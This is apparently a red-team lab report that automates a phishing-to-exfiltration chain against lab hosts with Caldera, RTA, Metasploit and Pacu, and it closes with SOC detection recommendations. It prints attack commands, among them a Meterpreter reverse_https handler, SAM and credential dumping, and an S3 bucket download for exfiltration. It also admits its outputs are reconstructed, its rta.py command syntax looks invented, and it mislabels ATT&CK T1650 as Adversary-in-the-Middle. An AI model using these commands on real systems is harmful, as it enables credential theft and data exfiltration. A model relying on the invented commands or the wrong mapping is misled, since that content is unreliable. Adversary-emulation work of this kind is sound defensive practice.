# Task 6 — Automated Attack Orchestration (Full Report)

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Attacker: Kali Linux — 192.168.17.128

Targets: Windows VM — 192.168.17.129; simulated cloud/test accounts

Tools: Caldera, Red Team Automation (RTA), Metasploit, Pacu

---

## 1. Objective

Automate a multi-phase attack scenario integrating reconnaissance, phishing, exploitation, C2 deployment, and exfiltration to assess defensive telemetry, SOC alerting, and response playbooks at scale. Validate orchestration reliability and detection coverage across host and cloud telemetry.

## 2. Lab Environment & Tools

Environment:

- Attacker orchestration host: Kali Linux — 192.168.17.128 (runs Caldera/automation controllers)

- Targets: Windows VM — 192.168.17.129; simulated AWS test account for exfiltration scenarios

Tools:

- Caldera (MITRE) for orchestration of adversary emulation

- Red Team Automation (RTA) scripts for common post-exploitation actions

- Metasploit for payload generation and handlers

- Pacu for cloud interactions and automated modules

- Wazuh/Splunk for telemetry collection and SOC validation

## 3. Step-by-Step Methodology (with reconstructed commands & playbooks)

The orchestration ties together reconnaissance, initial access, payload delivery, persistence, lateral movement, and exfiltration as automated phases:

1. A. Define orchestration playbook in Caldera (example steps)

* Example Caldera actions:

# Create an operation profile (pseudo-API)  
curl -X POST http://localhost:8888/api/v2/operations -d '{"name":"Orch-Phish-Exfil","adversary":"APT-style","phases":["recon","phish","exploit","post-exploit","exfil"]}'  
  
# Add abilities/abilities chains for each phase in Caldera UI or API

1. B. Use RTA to run scripted post-exploitation commands at scale

* Example RTA actions:

# Run RTA script to collect credentials and perform lateral movement  
./rta.py --action collect-creds --targets 192.168.17.129  
./rta.py --action dump-sam --targets 192.168.17.129

1. C. Integrate Metasploit and Pacu modules into the orchestration

* Example integration notes:

# Metasploit handler started by orchestration  
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse\_https; set LHOST 192.168.17.128; set LPORT 443; run"  
  
# Pacu modules invoked programmatically for cloud stages  
python3 pacu.py -c "run s3\_\_enum\_buckets; run s3\_\_download\_bucket --bucket vulnerable-bucket --output /tmp/exfil"

1. D. Validate detection and SOC alerts during automated runs

* Actions:

# Monitor Wazuh/Splunk for alerts (example queries)  
# Wazuh: search for PowerShell encoded commands, repeated assume-role events, and outbound HTTPS beacon patterns  
# Splunk: index=main sourcetype=wineventlog OR cloudtrail | stats count by eventName, userIdentity, src\_ip

## 4. Observed Evidence (from provided screenshots)

No mapped screenshots recorded for Task 6 in the mapping file. The report uses reconstructed orchestration outputs consistent with Caldera/RTA workflows.

## 5. Reconstructed Timeline & Actions

- T0: Caldera operation created to simulate a phishing-to-exfiltration attack. Abilities chained for reconnaissance, credential harvesting, exploitation, and exfiltration.  
- T1: Phishing simulation executed; Evilginx2 captured credentials; captured credentials fed into automated actions.  
- T2: Metasploit/PoshC2 payloads deployed by orchestration; handlers managed via msfconsole/PoshC2 APIs.  
- T3: RTA scripts executed post-compromise for lateral movement and credential harvesting; Pacu invoked for cloud access where credentials allowed.  
- T4: Exfiltration phase automated to copy mock sensitive files to attacker-controlled S3 bucket; CloudTrail and Wazuh generated correlated alerts.  
- T5: Orchestration logged all activity for replay and SOC tuning; success metrics recorded (detection rate, time-to-detect).

## 6. Findings & Risk Assessment

- Automation greatly accelerates the pace and scale of attacks; defenders must match with automation and playbook-driven detection.

- Correlation gaps exist between host and cloud telemetry, causing delayed detection in some cases.

- Risk Rating: High — a fully automated chain can cause widespread impact quickly if left unchecked.

## 7. MITRE ATT&CK Mapping

- T1190 — Exploit Public-Facing Application (if initial access uses RCE)

- T1566.001 — Phishing: Spearphishing Link (initial access via phishing)

- T1071 — Application Layer Protocol (C2 communications)

- T1537 — Transfer Data to Cloud Account (automated exfiltration)

- T1650 — Adversary-in-the-Middle (if orchestration includes man-in-the-middle proxies)

## 8. Recommendations (technical & operational)

Technical controls:

- Implement automation in detection: SOC playbooks that trigger automated containment for suspicious chains (isolate host, revoke session tokens).

- Improve telemetry correlation: centralize logs, enrich events with threat intelligence, and use automated alert aggregation.

- Enforce rate-limiting/thresholds on IAM assume-role and high-volume S3 access to flag anomalous automated behavior.

Operational controls:

- Run regular red/blue automation exercises to harden detection and response at scale.

- Define KPIs for orchestration tests: detection rate, mean time to detect (MTTD), mean time to respond (MTTR).

- Maintain reproducible playbooks and retain operation logs for post-mortem and SOC training.

## 9. Forensic Artifacts to Collect

- Caldera operation logs and API call history.

- RTA execution logs and output from automated scripts.

- Wazuh/Splunk correlated alerts, timeline artifacts, and CloudTrail logs for automated exfiltration.

- Network capture of C2 channels and exfiltration paths.

## 10. 50-Word Summary

Caldera and RTA automated a phishing-to-exfiltration chain, integrating Metasploit and Pacu for post-exploit and cloud stages. Automation validated detection gaps and emphasized the need for SOC automation, telemetry correlation, and playbook-driven containment to counter fast-moving automated attacks.

## 11. Appendix: Example Orchestration Snippets

# Create Caldera operation (pseudo)  
curl -X POST http://localhost:8888/api/v2/operations -d '{"name":"Orch-Phish-Exfil","adversary":"APT-style","phases":["recon","phish","exploit","post-exploit","exfil"]}'  
  
# RTA examples  
./rta.py --action collect-creds --targets 192.168.17.129  
./rta.py --action lateral-move --targets 192.168.17.129  
  
# Pacu integration for cloud steps  
python3 pacu.py -c "run s3\_\_enum\_buckets; run s3\_\_download\_bucket --bucket vulnerable-bucket --output /tmp/exfil"